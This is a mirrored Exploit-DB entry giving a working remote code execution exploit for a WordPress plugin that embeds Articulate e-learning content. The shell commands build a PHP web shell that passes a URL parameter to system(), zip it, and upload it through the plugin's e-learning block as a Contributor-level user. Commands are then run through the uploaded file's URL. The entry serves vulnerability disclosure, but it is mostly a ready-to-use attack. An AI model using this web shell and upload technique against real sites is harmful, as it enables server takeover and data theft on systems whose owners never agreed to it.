WordPress Plugin Insert or Embed Articulate Content into WordPress – Remote Code Execution - 体验盒子

作者： xulchibalraa

日期： 2019-06-11

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/46981/

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# Exploit Title: Authenticated code execution in <code>insert-or-embed-articulate-content-into-wordpress</code> WordPress plugin

# Description: It is possible to upload and execute a PHP file using the plugin option to upload a zip archive

# Date: june 2019

# Exploit Author: xulchibalraa

# Vendor Homepage: https://wordpress.org/plugins/insert-or-embed-articulate-content-into-wordpress/

# Software Link: https://downloads.wordpress.org/plugin/insert-or-embed-articulate-content-into-wordpress.4.2995.zip

# Version: 4.2995 <= 4.2997

# Tested on: WordPress 5.1.1, PHP 5.6

# CVE : -

## 1. Create a .zip archive with 2 files: index.html, index.php

echo "<html>hello</html>" > index.html

echo "<?php echo system($_GET['cmd']); ?>" > index.php

zip poc.zip index.html index.php

## 2. Log in to wp-admin with any user role that has access to the plugin functionality (by default even <code>Contributors</code> role have access to it)

## 3. Create a new Post -> Select <code>Add block</code> -> E-Learning -> Upload the poc.zip -> Insert as: Iframe -> Insert (just like in tutorial https://youtu.be/knst26fEGCw?t=44 ;)

## 4. Access the webshell from the URL displayed after upload similar to

http://website.com/wp-admin/uploads/articulate_uploads/poc/index.php?cmd=whoami